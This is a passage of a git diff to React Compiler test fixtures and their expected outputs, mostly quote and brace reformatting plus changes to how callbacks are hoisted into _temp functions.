     method(cond) {
@@ -19,7 +19,7 @@ function Component({ cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
 
 ```
@@ -43,7 +43,6 @@ function Component(t0) {
         }
       },
     };
-
     invoke(obj.method, cond);
     $[0] = cond;
     $[1] = x;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-objectmethod.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-objectmethod.js
index ceabb24d8f19..6c6408209ff0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-objectmethod.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-objectmethod.js
@@ -1,6 +1,6 @@
-import { invoke } from "shared-runtime";
+import {invoke} from 'shared-runtime';
 
-function Component({ cond }) {
+function Component({cond}) {
   let x = 2;
   const obj = {
     method(cond) {
@@ -15,5 +15,5 @@ function Component({ cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-outside-of-lambda.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-outside-of-lambda.expect.md
index 8d53b0cc42d6..08b92e940fcb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-outside-of-lambda.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-outside-of-lambda.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function Component(props) {
   let x = null;
@@ -30,12 +30,10 @@ function Component(props) {
   const $ = _c(1);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    let x;
-    x = null;
+    let x = null;
     const callback = () => {
       console.log(x);
     };
-
     x = {};
     t0 = <Stringify callback={callback} shouldInvokeFns={true} />;
     $[0] = t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-outside-of-lambda.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-outside-of-lambda.js
index fa80497c31cd..9cdecf5a4445 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-outside-of-lambda.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-outside-of-lambda.js
@@ -1,4 +1,4 @@
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function Component(props) {
   let x = null;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-reactive-capture.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-reactive-capture.expect.md
index 31040610e4d7..8578d269cbe2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-reactive-capture.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-reactive-capture.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { invoke } from "shared-runtime";
+import {invoke} from 'shared-runtime';
 
-function Component({ value }) {
+function Component({value}) {
   let x = null;
   const reassign = () => {
     x = value;
@@ -15,8 +15,8 @@ function Component({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 2 }],
-  sequentialRenders: [{ value: 2 }, { value: 4 }],
+  params: [{value: 2}],
+  sequentialRenders: [{value: 2}, {value: 4}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-reactive-capture.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-reactive-capture.js
index b3f7ecad3969..5f11db367c06 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-reactive-capture.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-reactive-capture.js
@@ -1,6 +1,6 @@
-import { invoke } from "shared-runtime";
+import {invoke} from 'shared-runtime';
 
-function Component({ value }) {
+function Component({value}) {
   let x = null;
   const reassign = () => {
     x = value;
@@ -11,6 +11,6 @@ function Component({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 2 }],
-  sequentialRenders: [{ value: 2 }, { value: 4 }],
+  params: [{value: 2}],
+  sequentialRenders: [{value: 2}, {value: 4}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-two-lambdas.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-two-lambdas.expect.md
index 711b8c561c02..4ab740767567 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-two-lambdas.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-two-lambdas.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { conditionalInvoke } from "shared-runtime";
+import {conditionalInvoke} from 'shared-runtime';
 
-function Component({ doReassign1, doReassign2 }) {
+function Component({doReassign1, doReassign2}) {
   let x = {};
   const reassign1 = () => {
     x = 2;
@@ -19,11 +19,11 @@ function Component({ doReassign1, doReassign2 }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ doReassign1: true, doReassign2: true }],
+  params: [{doReassign1: true, doReassign2: true}],
   sequentialRenders: [
-    { doReassign1: true, doReassign2: true },
-    { doReassign1: true, doReassign2: false },
-    { doReassign1: false, doReassign2: false },
+    {doReassign1: true, doReassign2: true},
+    {doReassign1: true, doReassign2: false},
+    {doReassign1: false, doReassign2: false},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-two-lambdas.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-two-lambdas.js
index 4896ce91af9d..5a7392d839ff 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-two-lambdas.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-two-lambdas.js
@@ -1,6 +1,6 @@
-import { conditionalInvoke } from "shared-runtime";
+import {conditionalInvoke} from 'shared-runtime';
 
-function Component({ doReassign1, doReassign2 }) {
+function Component({doReassign1, doReassign2}) {
   let x = {};
   const reassign1 = () => {
     x = 2;
@@ -15,10 +15,10 @@ function Component({ doReassign1, doReassign2 }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ doReassign1: true, doReassign2: true }],
+  params: [{doReassign1: true, doReassign2: true}],
   sequentialRenders: [
-    { doReassign1: true, doReassign2: true },
-    { doReassign1: true, doReassign2: false },
-    { doReassign1: false, doReassign2: false },
+    {doReassign1: true, doReassign2: true},
+    {doReassign1: true, doReassign2: false},
+    {doReassign1: false, doReassign2: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/controlled-input.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/controlled-input.expect.md
index 6ebea77def98..1d7a816a95f4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/controlled-input.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/controlled-input.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import { useState } from "react";
+import {useState} from 'react';
 function component() {
   let [x, setX] = useState(0);
-  const handler = (event) => setX(event.target.value);
+  const handler = event => setX(event.target.value);
   return <input onChange={handler} value={x} />;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/controlled-input.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/controlled-input.js
index 0bb36893dc5f..4f477c1ab8e9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/controlled-input.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/controlled-input.js
@@ -1,7 +1,7 @@
-import { useState } from "react";
+import {useState} from 'react';
 function component() {
   let [x, setX] = useState(0);
-  const handler = (event) => setX(event.target.value);
+  const handler = event => setX(event.target.value);
   return <input onChange={handler} value={x} />;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/createElement-freeze.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/createElement-freeze.expect.md
index 2d9b097c2a57..8f0033e086d3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/createElement-freeze.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/createElement-freeze.expect.md
@@ -2,12 +2,12 @@
 ## Input
 
 ```javascript
-import React from "react";
-import { shallowCopy } from "shared-runtime";
+import React from 'react';
+import {shallowCopy} from 'shared-runtime';
 
 function Component(props) {
-  const childProps = { style: { width: props.width } };
-  const element = React.createElement("div", childProps, ["hello world"]);
+  const childProps = {style: {width: props.width}};
+  const element = React.createElement('div', childProps, ['hello world']);
   shallowCopy(childProps); // function that in theory could mutate, we assume not bc createElement freezes
   return element;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/createElement-freeze.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/createElement-freeze.js
index 40d9fafeb02d..8b85f4f1c1bd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/createElement-freeze.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/createElement-freeze.js
@@ -1,9 +1,9 @@
-import React from "react";
-import { shallowCopy } from "shared-runtime";
+import React from 'react';
+import {shallowCopy} from 'shared-runtime';
 
 function Component(props) {
-  const childProps = { style: { width: props.width } };
-  const element = React.createElement("div", childProps, ["hello world"]);
+  const childProps = {style: {width: props.width}};
+  const element = React.createElement('div', childProps, ['hello world']);
   shallowCopy(childProps); // function that in theory could mutate, we assume not bc createElement freezes
   return element;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/custom-opt-out-directive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/custom-opt-out-directive.expect.md
new file mode 100644
index 000000000000..ca69b5a0923d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/custom-opt-out-directive.expect.md
@@ -0,0 +1,35 @@
+
+## Input
+
+```javascript
+// @expectNothingCompiled @customOptOutDirectives:["use todo memo"]
+function Component() {
+  'use todo memo';
+  return <div>hello world!</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+// @expectNothingCompiled @customOptOutDirectives:["use todo memo"]
+function Component() {
+  "use todo memo";
+  return <div>hello world!</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>hello world!</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/custom-opt-out-directive.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/custom-opt-out-directive.tsx
new file mode 100644
index 000000000000..85e1583eb7af
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/custom-opt-out-directive.tsx
@@ -0,0 +1,10 @@
+// @expectNothingCompiled @customOptOutDirectives:["use todo memo"]
+function Component() {
+  'use todo memo';
+  return <div>hello world!</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-loop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-loop.expect.md
index d1c290b5a8c0..b6c6b661d930 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-loop.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-loop.expect.md
@@ -14,7 +14,7 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: [{ max: 10 }],
+  params: [{max: 10}],
   isComponent: false,
 };
 
@@ -28,6 +28,7 @@ function foo(props) {
   while (y < props.max) {
     y++;
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-loop.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-loop.js
index cb8470de67ac..31a361b30eb8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-loop.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-loop.js
@@ -10,6 +10,6 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: [{ max: 10 }],
+  params: [{max: 10}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-const.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-const.expect.md
index 20e13ac30d37..ca601add0b07 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-const.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-const.expect.md
@@ -9,7 +9,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-const.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-const.js
index 4ab0b2b73275..cf2850bfb64a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-const.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-const.js
@@ -5,5 +5,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-postfix-update.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-postfix-update.expect.md
index cfa563b71fe8..39aa901cbd3f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-postfix-update.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-postfix-update.expect.md
@@ -11,7 +11,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ i: 42 }],
+  params: [{i: 42}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-postfix-update.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-postfix-update.js
index 43b90f718df5..da67d5ed74b3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-postfix-update.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-postfix-update.js
@@ -7,5 +7,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ i: 42 }],
+  params: [{i: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-prefix-update.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-prefix-update.expect.md
index 507c2fb0645f..ef30c992ef71 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-prefix-update.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-prefix-update.expect.md
@@ -11,7 +11,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ i: 42 }],
+  params: [{i: 42}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-prefix-update.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-prefix-update.js
index a76db00e53b6..a14527255f1c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-prefix-update.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dce-unused-prefix-update.js
@@ -7,5 +7,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ i: 42 }],
+  params: [{i: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger-memoized.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger-memoized.expect.md
index 6eb6dacd5f87..ef4b8ce7b471 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger-memoized.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger-memoized.expect.md
@@ -11,8 +11,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger-memoized.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger-memoized.js
index 5ea941299ce0..fa899c11e3c6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger-memoized.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger-memoized.js
@@ -7,6 +7,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger.expect.md
index b30e2458d764..b1eddc5d4394 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger.expect.md
@@ -16,8 +16,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -27,6 +27,7 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 function Component(props) {
   debugger;
+
   if (props.cond) {
     debugger;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger.js
index c7196194cb05..450f243d8b29 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger.js
@@ -12,6 +12,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/declare-reassign-variable-in-closure.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/declare-reassign-variable-in-closure.expect.md
index 4fb08320ff46..94d263ef3d69 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/declare-reassign-variable-in-closure.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/declare-reassign-variable-in-closure.expect.md
@@ -14,8 +14,8 @@ function Component(p) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -37,6 +37,7 @@ function Component(p) {
   } else {
     x = $[0];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/declare-reassign-variable-in-closure.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/declare-reassign-variable-in-closure.js
index ba85090c9d8b..d69479ba749b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/declare-reassign-variable-in-closure.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/declare-reassign-variable-in-closure.js
@@ -10,6 +10,6 @@ function Component(p) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/declare-reassign-variable-in-function-declaration.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/declare-reassign-variable-in-function-declaration.expect.md
deleted file mode 100644
index b9fc15ea0a7b..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/declare-reassign-variable-in-function-declaration.expect.md
+++ /dev/null
@@ -1,40 +0,0 @@
-
-## Input
-
-```javascript
-function Component() {
-  let x = null;
-  function foo() {
-    x = 9;
-  }
-  const y = bar(foo);
-  return <Child y={y} />;
-}
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime";
-function Component() {
-  const $ = _c(1);
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    let x;
-    x = null;
-    const foo = function foo() {
-      x = 9;
-    };
-
-    const y = bar(foo);
-    t0 = <Child y={y} />;
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  return t0;
-}
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/declare-reassign-variable-in-function-declaration.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/declare-reassign-variable-in-function-declaration.js
deleted file mode 100644
index ca3ff478605c..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/declare-reassign-variable-in-function-declaration.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function Component() {
-  let x = null;
-  function foo() {
-    x = 9;
-  }
-  const y = bar(foo);
-  return <Child y={y} />;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/deeply-nested-function-expressions-with-params.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/deeply-nested-function-expressions-with-params.expect.md
index a93d5b49d66f..7d0a1ffed1fa 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/deeply-nested-function-expressions-with-params.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/deeply-nested-function-expressions-with-params.expect.md
@@ -28,22 +28,21 @@ import { c as _c } from "react/compiler-runtime";
 function Foo() {
   const $ = _c(1);
   let t0;
-  let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = function a(t2) {
-      const x_0 = t2 === undefined ? () => {} : t2;
-      return (function b(t3) {
-        const y_0 = t3 === undefined ? [] : t3;
+    t0 = function a(t1) {
+      const x_0 = t1 === undefined ? _temp : t1;
+      return (function b(t2) {
+        const y_0 = t2 === undefined ? [] : t2;
         return [x_0, y_0];
       })();
     };
-    $[0] = t1;
+    $[0] = t0;
   } else {
-    t1 = $[0];
+    t0 = $[0];
   }
-  t0 = t1;
   return t0;
 }
+function _temp() {}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-calls-global-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-calls-global-function.expect.md
index 1bbfb1b7ec94..0cd9742942a9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-calls-global-function.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-calls-global-function.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function Component(x = identity([() => {}, true, 42, "hello"])) {
+function Component(x = identity([() => {}, true, 42, 'hello'])) {
   return x;
 }
 
@@ -25,7 +25,7 @@ function Component(t0) {
   const $ = _c(2);
   let t1;
   if ($[0] !== t0) {
-    t1 = t0 === undefined ? identity([() => {}, true, 42, "hello"]) : t0;
+    t1 = t0 === undefined ? identity([_temp, true, 42, "hello"]) : t0;
     $[0] = t0;
     $[1] = t1;
   } else {
@@ -34,6 +34,7 @@ function Component(t0) {
   const x = t1;
   return x;
 }
+function _temp() {}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-calls-global-function.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-calls-global-function.js
index 73731715028d..d8981d97b9ee 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-calls-global-function.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-calls-global-function.js
@@ -1,6 +1,6 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function Component(x = identity([() => {}, true, 42, "hello"])) {
+function Component(x = identity([() => {}, true, 42, 'hello'])) {
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-with-empty-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-with-empty-callback.expect.md
index cc96a95553e4..43249cfc1e87 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-with-empty-callback.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-with-empty-callback.expect.md
@@ -16,20 +16,11 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
 function Component(t0) {
-  const $ = _c(2);
-  let t1;
-  if ($[0] !== t0) {
-    t1 = t0 === undefined ? () => {} : t0;
-    $[0] = t0;
-    $[1] = t1;
-  } else {
-    t1 = $[1];
-  }
-  const x = t1;
+  const x = t0 === undefined ? _temp : t0;
   return x;
 }
+function _temp() {}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-with-reorderable-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-with-reorderable-callback.expect.md
index 624ed6f67a04..e0b0b51308a3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-with-reorderable-callback.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-with-reorderable-callback.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function Component(x = () => [-1, true, 42.0, "hello"]) {
+function Component(x = () => [-1, true, 42.0, 'hello']) {
   return x;
 }
 
@@ -16,20 +16,13 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
 function Component(t0) {
-  const $ = _c(2);
-  let t1;
-  if ($[0] !== t0) {
-    t1 = t0 === undefined ? () => [-1, true, 42, "hello"] : t0;
-    $[0] = t0;
-    $[1] = t1;
-  } else {
-    t1 = $[1];
-  }
-  const x = t1;
+  const x = t0 === undefined ? _temp : t0;
   return x;
 }
+function _temp() {
+  return [-1, true, 42, "hello"];
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-with-reorderable-callback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-with-reorderable-callback.js
